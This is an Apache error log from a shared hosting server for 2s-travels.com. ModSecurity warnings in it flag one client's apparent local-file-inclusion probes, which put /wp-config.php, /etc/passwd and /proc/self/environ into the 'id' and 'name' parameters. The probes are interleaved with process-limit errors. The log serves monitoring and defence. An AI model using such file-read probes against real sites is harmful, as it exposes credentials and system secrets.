[Fri Jul 17 08:55:54.502494 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwvwooI4qY7Jg93pVugAAABM"]
[Fri Jul 17 08:55:54.502771 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:id: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS4gAAAB4"]
[Fri Jul 17 08:55:54.503218 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS4gAAAB4"]
[Fri Jul 17 08:55:54.503301 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.503530 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwlCBpfuYyhJ140vS4gAAAB4"]
[Fri Jul 17 08:55:54.519254 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:id: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96OAAAAAw"]
[Fri Jul 17 08:55:54.519390 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:id: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96OAAAAAw"]
[Fri Jul 17 08:55:54.519898 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96OAAAAAw"]
[Fri Jul 17 08:55:54.520021 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.520288 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwol9vhFBGA6D8l96OAAAAAw"]
[Fri Jul 17 08:55:54.531068 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:id: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfjAAAAA8"]
[Fri Jul 17 08:55:54.531181 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:id: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfjAAAAA8"]
[Fri Jul 17 08:55:54.531667 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfjAAAAA8"]
[Fri Jul 17 08:55:54.531821 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.532143 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwu1pLmPpy2r_2CxfjAAAAA8"]
[Fri Jul 17 08:55:54.536786 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:id: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwivekYYQ8uns4MwlrQAAAA0"]
[Fri Jul 17 08:55:54.536908 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:id: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwivekYYQ8uns4MwlrQAAAA0"]
[Fri Jul 17 08:55:54.537475 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwivekYYQ8uns4MwlrQAAAA0"]
[Fri Jul 17 08:55:54.537608 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.537901 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwivekYYQ8uns4MwlrQAAAA0"]
[Fri Jul 17 08:55:54.541416 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.541815 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.544600 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.552453 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.556229 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.558574 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.560391 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.560691 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.583255 2026] [mime:warn] [pid 2030803:tid 2030803] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:54.611088 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:name: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpB2QAAAAY"]
[Fri Jul 17 08:55:54.611117 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:name: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwivekYYQ8uns4MwlrgAAAA0"]
[Fri Jul 17 08:55:54.611122 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:name: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwoe39YUk0SgV8AU6pwAAABE"]
[Fri Jul 17 08:55:54.611185 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:name: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpB2QAAAAY"]
[Fri Jul 17 08:55:54.611568 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpB2QAAAAY"]
[Fri Jul 17 08:55:54.611573 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwoe39YUk0SgV8AU6pwAAABE"]
[Fri Jul 17 08:55:54.611594 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwivekYYQ8uns4MwlrgAAAA0"]
[Fri Jul 17 08:55:54.611684 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.611684 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.611687 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.611924 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwivekYYQ8uns4MwlrgAAAA0"]
[Fri Jul 17 08:55:54.611927 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwg5GPQ6hs4VrfMpB2QAAAAY"]
[Fri Jul 17 08:55:54.611946 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwoe39YUk0SgV8AU6pwAAABE"]
[Fri Jul 17 08:55:54.611992 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwoe39YUk0SgV8AU6pwAAABE"]
[Fri Jul 17 08:55:54.612002 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwoe39YUk0SgV8AU6pwAAABE"]
[Fri Jul 17 08:55:54.614979 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:name: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhHlOGcokz2QIwTTVQAAAAM"]
[Fri Jul 17 08:55:54.614983 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:name. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:name: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVvAAAABM"]
